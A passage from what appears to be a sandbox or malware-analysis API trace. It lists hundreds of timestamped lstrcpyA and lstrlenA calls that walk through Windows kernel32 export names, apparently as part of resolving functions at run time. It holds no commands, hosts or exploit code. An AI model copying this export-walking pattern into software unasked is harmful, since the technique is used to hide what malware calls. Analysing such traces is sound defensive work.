returned="CopyFileTransactedW" [0035.952] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0035.952] lstrlenA (lpString="COPYFILEW") returned 9 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0035.952] lstrlenA (lpString="COPYLZFILE") returned 10 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0035.952] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0035.952] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0035.952] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0035.952] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0035.952] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0035.952] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0035.952] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0035.952] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0035.952] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0035.953] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0035.953] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0035.953] lstrlenA (lpString="CREATEEVENTA") returned 12 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0035.953] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0035.953] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0035.953] lstrlenA (lpString="CREATEEVENTW") returned 12 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0035.953] lstrlenA (lpString="CREATEFIBER") returned 11 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0035.953] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0035.953] lstrlenA (lpString="CREATEFILEA") returned 11 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0035.953] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0035.953] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0035.953] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0035.953] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0035.953] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0035.953] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0035.953] lstrlenA (lpString="CREATEFILEW") returned 11 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0035.953] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0035.953] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0035.953] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0035.954] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0035.954] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0035.954] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0035.954] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0035.954] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0035.954] lstrlenA (lpString="CREATEJOBSET") returned 12 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0035.954] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0035.954] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0035.954] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0035.954] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0035.954] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0035.954] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0035.954] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0035.954] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0035.954] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0035.954] lstrlenA (lpString="CREATEPIPE") returned 10 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0035.954] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0035.954] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0035.954] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0035.954] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0035.954] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0035.955] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0035.955] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0035.955] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0035.955] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0035.955] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0035.955] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0035.955] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0035.955] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0035.955] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0035.955] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0035.955] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0035.955] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0035.955] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0035.955] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0035.955] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0035.955] lstrlenA (lpString="CREATETHREAD") returned 12 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0035.955] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0035.955] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0035.955] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0035.955] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0035.956] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0035.956] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0035.956] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0035.956] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0035.956] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0035.956] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0035.956] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0035.956] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0035.956] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0035.956] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0035.956] lstrlenA (lpString="CTRLROUTINE") returned 11 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0035.956] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0035.956] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0035.956] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0035.956] lstrlenA (lpString="DEBUGBREAK") returned 10 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0035.956] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0035.956] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0035.956] lstrlenA (lpString="DECODEPOINTER") returned 13 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0035.956] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0035.956] lstrcpyA (in: lpString1=0x34f254, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0035.957] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0035.957] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0035.957] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0035.957] lstrlenA (lpString="DELETEATOM") returned 10 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0035.957] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0035.957] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0035.957] lstrlenA (lpString="DELETEFIBER") returned 11 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0035.957] lstrlenA (lpString="DELETEFILEA") returned 11 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0035.957] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0035.957] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0035.957] lstrlenA (lpString="DELETEFILEW") returned 11 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0035.957] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0035.957] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0035.957] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0035.957] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0035.957] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0035.957] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0035.957] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0035.957] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0035.957] lstrcpyA (in: lpString1=0x34f254, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0035.957] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0035.958] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0035.958] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0035.958] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0035.958] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0035.958] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0035.958] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0035.958] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0035.958] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0035.958] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0035.958] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0035.958] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0035.958] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0035.958] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0035.958] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0035.958] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0035.958] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0035.958] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0035.958] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0035.958] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0035.959] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0035.959] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0035.959] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0035.959] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0035.959] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0035.959] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0035.959] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0035.959] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0035.959] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0035.959] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0035.959] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0035.959] lstrcpyA (in: lpString1=0x34f254, lpString2="EnumDateFormatsW" | out: 